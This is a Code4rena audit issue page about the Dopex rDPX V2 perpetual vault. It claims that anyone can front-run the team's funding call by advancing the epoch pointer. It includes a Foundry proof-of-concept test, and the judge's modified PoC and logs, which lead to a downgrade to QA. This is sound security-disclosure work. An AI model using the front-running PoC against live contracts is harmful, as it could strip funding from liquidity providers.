Funding can be slashed by malicious actor by front-running `RdpxV2Core::provideFunding` #496

code423n4 · 2023-08-30T22:44:52Z

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L372-L396

Vulnerability details

Summary

Every epoch (week) through the core contract, funding payment is done to the Atlantic Perpetual PUTS Options vault (APP).
This is done manually by the team and must be done at the start of each epoch:

Note that the funding has to be paid at the start of each epoch

What is left out of the documentation, and is an issue, is that if the funding is not distributed before the internal epoch pointer is incremented then it can never be done for that epoch any more, meaning funding will be permanently lost for it. This is a particular grave issue that needs to be taken into account by any users interacting with the protocol.

Using this hard requirement and the ability for anyone to increment the epoch pointer, a malicious actor can increment the pointer (by calling PerpetualAtlanticVault::updateFundingPaymentPointer) exactly as the new epoch has started.

Although Arbitrum EVM chain does not provide a means to identify what transactions are "pending", is is safe to assume that the protocol team would want to distribute funding (by calling RdpxV2Core::provideFunding) as soon as it can, thus, exact when it is possible, a malicious actor can send his own transaction with a significant gas, to make sure it is arrives first at the sequencer and is executed as such.

Vulnerability Details

The Core Contract pays this pool LPs funding every week when protocol team calls RdpxV2Core::provideFunding which in turn executes the funds transfer via in PerpetualAtlanticVault::payFunding:

  /// @inheritdoc       IPerpetualAtlanticVault
  function payFunding() external onlyRole(RDPXV2CORE_ROLE) returns (uint256) {
    _whenNotPaused();
    _isEligibleSender();

    // code ...

    collateralToken.safeTransferFrom(
      addresses.rdpxV2Core,
      address(this),
      totalFundingForEpoch[latestFundingPaymentPointer]
    );

    // code ...
  }

The payment funds are accounted for in the totalFundingForEpoch[latestFundingPaymentPointer] map/pointer pair.

latestFundingPaymentPointer is incremented when PerpetualAtlanticVault::updateFundingPaymentPointer is called (and if is the case), in these situations exactly:

direct updateFundingPaymentPointer call, since anyone can call it.
when funding amount for the "new" epoch is calculated via calculateFunding (also callable by anyone)
when updateFunding is called

updateFundingPaymentPointer increments the latestFundingPaymentPointer variable current block time is at, or over the next calculated funding payment timestamp:

    while (block.timestamp >= nextFundingPaymentTimestamp()) {

Where PerpetualAtlanticVault::nextFundingPaymentTimestamp is deterministically calculated from genesisL

  /// @inheritdoc       IPerpetualAtlanticVault
  function nextFundingPaymentTimestamp()
    public
    view
    returns (uint256 timestamp)
  {
    return genesis + (latestFundingPaymentPointer * fundingDuration);
  }

A malicious actor can calculate the exact moment when calling PerpetualAtlanticVault::updateFundingPaymentPointer would increment the pointer and initiate a call with a very high gas at exact that moment, in oder to possibly front-run any protocol team call to RdpxV2Core::provideFunding and slash the funding tokens.

Add the following POC to tests\rdpxV2-core\Unit.t.sol and run it via forge test --match-test testBlockingFundingPayment -vv

It depicts how, because RdpxV2Core::provideFunding needs to be calculated as soon as the previous epoch ended (because PerpetualAtlanticVault::payFunding can be called only once per epoch and needs to be called on the end of the epoch), rewards are slashed and function reverts.

  function testBlockingFundingPayment() public {
    
    // initial setup
    rdpxV2Core.bond(10 * 1e18, 0, address(1));
    rdpxV2Core.bond(10 * 1e18, 0, address(2));
    // update rdpx to (.312 eth)
    address[] memory path;
    path = new address[](2);
    path[0] = address(weth);
    path[1] = address(rdpx);
    router.swapExactTokensForTokens(
      500e18,
      0,
      path,
      address(this),
      block.timestamp
    );

    rdpxPriceOracle.updateRdpxPrice(312 * 1e5);
    rdpxV2Core.bond(5 * 1e18, 0, address(3));
    skip(86400 * 7);
    vault.addToContractWhitelist(address(rdpxV2Core));
    vault.updateFundingPaymentPointer();

    // test setup for funding
    uint256[] memory strikes = new uint256[](2);
    strikes[0] = 15e6;
    strikes[1] = 24000000;
    vault.calculateFunding(strikes);

    uint256 funding = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );

    // send funding to rdpxV2Core and call sync
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();

    address bob = makeAddr("bob");    

    // mimic that enough time has passed so that we technically are in the new pointer but it is not updated yet
    skip(86400 * 7);

    // malicious actor updates the funding pointer before team has called provide funding 
    // meaning that now the pointer is incremented and there is no chance of going back   
    vm.prank(bob);
    vault.updateFundingPaymentPointer();
  
    // funding if called now will revert because of the initial condition that the totalActiveOptions
    // is not equal to the fundingPaymentsAccountedFor, since no funding happened in this pointer
    
    vm.expectRevert(
      abi.encodeWithSelector(PerpetualAtlanticVault.PerpetualAtlanticVaultError.selector, 6)
    );
    rdpxV2Core.provideFunding();

    // show that total funding for epoch has been slashed
    assertEq(vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()),
      0
    );
  }

Impact

Weekly Atlantic Perpetual vault funding payment can be slashed by malicious actor

Tools Used

Manual review.

Recommendations

Two possible suggestions are:

Add access control on all functions that can increment the funding payment pointer. This way the team calls it correctly when needed. This solution adds more centralization but it's the "quickest" (although not necessarily beneficial in the long run).
Implement a snapshot system and integrate it with the funding mechanism; extend the funding payment function with it to be able to work with unprocessed epochs, not with last epoch only. This solution brings more overhead but it also correctly resolves any future issues in this direction.

Assessed type

Access Control

The text was updated successfully, but these errors were encountered:

bytes032 · 2023-09-14T05:10:13Z

LQ because of front-running on Arb

c4-pre-sort · 2023-09-14T05:10:37Z

bytes032 marked the issue as low quality report

c4-judge · 2023-10-20T08:54:13Z

GalloDaSballo changed the severity to 2 (Med Risk)

c4-judge · 2023-10-20T11:36:33Z

GalloDaSballo marked the issue as primary issue

c4-judge · 2023-10-20T11:36:56Z

GalloDaSballo marked the issue as selected for report

GalloDaSballo · 2023-10-20T11:37:41Z

Front-running is not a pre-requisite for this, an attacker and the sponsor may be in a race condition which is outside of either control, meaning this is plausible

GalloDaSballo · 2023-10-20T11:38:04Z

That unless the call to provideFunding could have been done for the entirety of the epoch, meaning this is not intended usage

141345 · 2023-10-23T01:22:35Z

This one seems invalid. And #1341 (comment) also address it.

From the while loop in line 463 in updateFundingPaymentPointer(), we can see latestFundingPaymentPointer is guaranteed to point to next week, not possible one more week ahead. If latestFundingPaymentPointer is already updated, calling updateFundingPaymentPointer() wont have any effect due to line 463.

The admin has enough time to call payFunding() within this week (assuming now is wednesday, there is still 3 days to go). Unless admin mistake, wait until the last minute of this week, and accidentally miss it.

In another word, the mechanism design for the variable latestFundingPaymentPointer and function updateFundingPaymentPointer() work as expected.

File: contracts\perp-vault\PerpetualAtlanticVault.sol
563:   function nextFundingPaymentTimestamp()
566:     returns (uint256 timestamp)
567:   {
568:     return genesis + (latestFundingPaymentPointer * fundingDuration);
569:   }

462:   function updateFundingPaymentPointer() public {
463:     while (block.timestamp >= nextFundingPaymentTimestamp()) {
464:       if (lastUpdateTime < nextFundingPaymentTimestamp()) {
465:         uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
466: 
467:         uint256 startTime = lastUpdateTime == 0
468:           ? (nextFundingPaymentTimestamp() - fundingDuration)
469:           : lastUpdateTime;
470: 
471:         lastUpdateTime = nextFundingPaymentTimestamp();
472: 
473:         collateralToken.safeTransfer(
474:           addresses.perpetualAtlanticVaultLP,
475:           (currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
476:             1e18
477:         );
478: 
479:         IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP)
480:           .addProceeds(
481:             (currentFundingRate * (nextFundingPaymentTimestamp() - startTime)) /
482:               1e18
483:           );

491:       }

493:       latestFundingPaymentPointer += 1;

495:     }
496:   }

abarbatei · 2023-10-23T08:25:01Z

Touching on what @141345 mentioned, the behavior of updateFundingPaymentPointer he described is true but:

The admin has enough time to call payFunding() within this week (assuming now is wednesday, there is still 3 days to go). Unless admin mistake, wait until the last minute of this week, and accidentally miss it.

The admin cannot (will not) do that in advance because:

from the moment funding is calculated (call calculateFunding, a required pre-requisite) funding cannot be then recalculated for those strike prices in the epoch
- it is in the interest of the protocol to postpone this to the end of the epoch
payFunding can be called only once per epoch and is needed to be called after calculateFunding

This entire project has several race conditions like the above mentioned which are specifically treated by the team. In this case, the payment is done (as previously mentioned) at the start of a new epoch (to maximize funding calculation)

Note that the funding has to be paid at the start of each epoch

Taking the above into consideration the issue is very much possible.

GalloDaSballo · 2023-10-26T07:24:44Z

After running the POC and tweaking it

I originally thought that there was a race condition which prevented calling the calculateFunding and provideFunding functions if updateFundingPaymentPointer was called before them, but that doesn't seem to be the case

Swapping the line

    vm.prank(bob);
    vault.updateFundingPaymentPointer();

     vault.calculateFunding(strikes);

Yields the same results:

No revert
Non Zero funding
Pointer is 2 both cases

Running 1 test for tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Assertion failed.] testBlockingFundingPayment() (gas: 2506846)
Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.latestFundingPaymentPointer() 2

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.36s
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Assertion failed.] testBlockingFundingPayment() (gas: 2506846)

Encountered a total of 1 failing tests, 0 tests succeeded
[⠔] Compiling...
[⠊] Compiling 1 files with 0.8.19
[⠢] Solc 0.8.19 finished in 11.59s
Compiler run successful!

Running 1 test for tests/rdpxV2-core/Unit.t.sol:Unit
[FAIL. Reason: Assertion failed.] testBlockingFundingPayment() (gas: 2506835)
Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.latestFundingPaymentPointer() 2

abarbatei · 2023-10-26T09:23:21Z

Hey, thanks for taking the time to look more deep into this. I hope I am not overstepping, I wanted to add more clarity, I may be wrong but from my understanding:

Before calling updateFundingPaymentPointer or calculateFunding you are in epoch 1

updateFundingPaymentPointer only increments epoch count (if needed)
calculateFunding
- increments epoch count (if needed) and calculates the funding needed to be paid for current epoch (epoch 2 in our case)
- when calculating funding needed it increments fundingPaymentsAccountedFor among others which is checked in payFunding and reverts if not valid (as indicated in POC)

I detailed, for another submission, a bit the normal "happy path" flow here: https://gist.github.com/abarbatei/1522750c3a61f8db3d86d25a1391bb31 (just the diagram and relevant actions are of use)

The POC itself works as it is. Is this true for you? I could not deduce that clearly from your message.

If I understood what you modified correctly then if you added a new calculateFunding call in the POC you basically already set the new epoch and calculated funding for it, meaning that payFunding will now work because it's paying funding for epoch 2, when the issue that it hasn't paid funding for epoch 1 still exists because it was skipped due to the pointer increment. Exactly because you are in a new epoch for which you already calculated funding, it is not 0.

GalloDaSballo · 2023-10-26T11:17:03Z

Doesn't seem to be the case

GalloDaSballo · 2023-10-26T11:17:24Z

Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  
  
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589

Logs:
  Error: a == b not satisfied [uint]
        Left: 1422686098679487179
       Right: 0
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  vault.fundingPaymentsAccountedForPerStrike() 24516480730000000000
  
  
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589
  vault.fundingPaymentsAccountedForPerStrike() 3937241243589743589

GalloDaSballo · 2023-10-26T11:17:30Z

Full POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import {Setup} from "./Setup.t.sol";

// Core contracts
import {RdpxV2Core} from "contracts/core/RdpxV2Core.sol";
import {PerpetualAtlanticVault} from "contracts/perp-vault/PerpetualAtlanticVault.sol";

// Interfaces
import {IStableSwap} from "contracts/interfaces/IStableSwap.sol";

contract Unit is ERC721Holder, Setup {

    function testBlockingFundingPayment() public {
    
    // initial setup
    rdpxV2Core.bond(10 * 1e18, 0, address(1));
    rdpxV2Core.bond(10 * 1e18, 0, address(2));
    // update rdpx to (.312 eth)
    address[] memory path;
    path = new address[](2);
    path[0] = address(weth);
    path[1] = address(rdpx);
    router.swapExactTokensForTokens(
      500e18,
      0,
      path,
      address(this),
      block.timestamp
    );

    rdpxPriceOracle.updateRdpxPrice(312 * 1e5);
    rdpxV2Core.bond(5 * 1e18, 0, address(3));
    skip(86400 * 7);
    vault.addToContractWhitelist(address(rdpxV2Core));
    vault.updateFundingPaymentPointer();

    // test setup for funding
    uint256[] memory strikes = new uint256[](2);
    strikes[0] = 15e6;
    strikes[1] = 24000000;
    vault.calculateFunding(strikes);

    uint256 funding = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );

    // send funding to rdpxV2Core and call sync
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();

    address bob = makeAddr("bob");    

    // mimic that enough time has passed so that we technically are in the new pointer but it is not updated yet
    skip(86400 * 7);

    // malicious actor updates the funding pointer before team has called provide funding 
    // meaning that now the pointer is incremented and there is no chance of going back   
   
    

    vm.prank(bob);
    vault.updateFundingPaymentPointer();

    vault.calculateFunding(strikes);


    
  
    // funding if called now will revert because of the initial condition that the totalActiveOptions
    // is not equal to the fundingPaymentsAccountedFor, since no funding happened in this pointer
    
    // vm.expectRevert(
    //   abi.encodeWithSelector(PerpetualAtlanticVault.PerpetualAtlanticVaultError.selector, 6)
    // );
    rdpxV2Core.provideFunding();

    // show that total funding for epoch has been slashed
    assertEq(vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()),
      0
    );

    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(0, strikes[0]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(1, strikes[0]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(2, strikes[0]));
    console2.log("");
    console2.log("");


    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(0, strikes[1]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(1, strikes[1]));
    console2.log("vault.fundingPaymentsAccountedForPerStrike()", vault.fundingPaymentsAccountedForPerStrike(2, strikes[1]));
  }
}

GalloDaSballo · 2023-10-26T11:18:13Z

I believed there was a racing condition, but it seems like this should not happen, and the Admin Providing funding will repay those funds

Because the pre-requisite is the Admin Privilege, which was already disclosed, I believe QA is most appropriate

c4-judge · 2023-10-26T11:18:21Z

GalloDaSballo changed the severity to QA (Quality Assurance)

c4-judge · 2023-10-30T20:05:04Z

GalloDaSballo marked the issue as not selected for report

code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Aug 30, 2023

code423n4 added a commit that referenced this issue Aug 30, 2023

ABA issue #496

b68e57b

captainmangoC4 added the edited-by-warden label Aug 31, 2023

c4-pre-sort added the low quality report This report is of especially low quality label Sep 14, 2023

c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Oct 20, 2023

c4-judge added the primary issue Highest quality submission among a set of duplicates label Oct 20, 2023

c4-judge mentioned this issue Oct 20, 2023

Funding payments can be suppressed by frontrunning Core.provideFunding with Vault.updateFunding #1341

Closed

c4-judge added the selected for report This submission will be included/highlighted in the audit report label Oct 20, 2023

hungdoo mentioned this issue Oct 21, 2023

RdpxV2Core._curveSwap incorrectly calculates minOut, inviting MEV attack #1416

Closed

c4-judge added QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Oct 26, 2023

GalloDaSballo mentioned this issue Oct 26, 2023

[M-01] Overflow/Underflow in RdpxCoreV2.sol in calculateBondCost function. #1868

Closed

c4-judge removed the selected for report This submission will be included/highlighted in the audit report label Oct 30, 2023

C4-Staff closed this as completed Oct 31, 2023

C4-Staff added the grade-b label Oct 31, 2023

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Funding can be slashed by malicious actor by front-running `RdpxV2Core::provideFunding` #496

Funding can be slashed by malicious actor by front-running `RdpxV2Core::provideFunding` #496

code423n4 commented Aug 30, 2023 •

edited by captainmangoC4

Loading

bytes032 commented Sep 14, 2023

c4-pre-sort commented Sep 14, 2023

c4-judge commented Oct 20, 2023

c4-judge commented Oct 20, 2023

c4-judge commented Oct 20, 2023

GalloDaSballo commented Oct 20, 2023

GalloDaSballo commented Oct 20, 2023

141345 commented Oct 23, 2023 •

edited

Loading

abarbatei commented Oct 23, 2023

GalloDaSballo commented Oct 26, 2023 •

edited

Loading

abarbatei commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

c4-judge commented Oct 26, 2023

c4-judge commented Oct 30, 2023

Funding can be slashed by malicious actor by front-running RdpxV2Core::provideFunding #496

Funding can be slashed by malicious actor by front-running RdpxV2Core::provideFunding #496

Comments

code423n4 commented Aug 30, 2023 • edited by captainmangoC4 Loading

Lines of code

Vulnerability details

Summary

Vulnerability Details

Impact

Tools Used

Recommendations

Assessed type

bytes032 commented Sep 14, 2023

c4-pre-sort commented Sep 14, 2023

c4-judge commented Oct 20, 2023

c4-judge commented Oct 20, 2023

c4-judge commented Oct 20, 2023

GalloDaSballo commented Oct 20, 2023

GalloDaSballo commented Oct 20, 2023

141345 commented Oct 23, 2023 • edited Loading

abarbatei commented Oct 23, 2023

GalloDaSballo commented Oct 26, 2023 • edited Loading

abarbatei commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

GalloDaSballo commented Oct 26, 2023

c4-judge commented Oct 26, 2023

c4-judge commented Oct 30, 2023

Funding can be slashed by malicious actor by front-running `RdpxV2Core::provideFunding` #496

Funding can be slashed by malicious actor by front-running `RdpxV2Core::provideFunding` #496

code423n4 commented Aug 30, 2023 •

edited by captainmangoC4

Loading

141345 commented Oct 23, 2023 •

edited

Loading

GalloDaSballo commented Oct 26, 2023 •

edited

Loading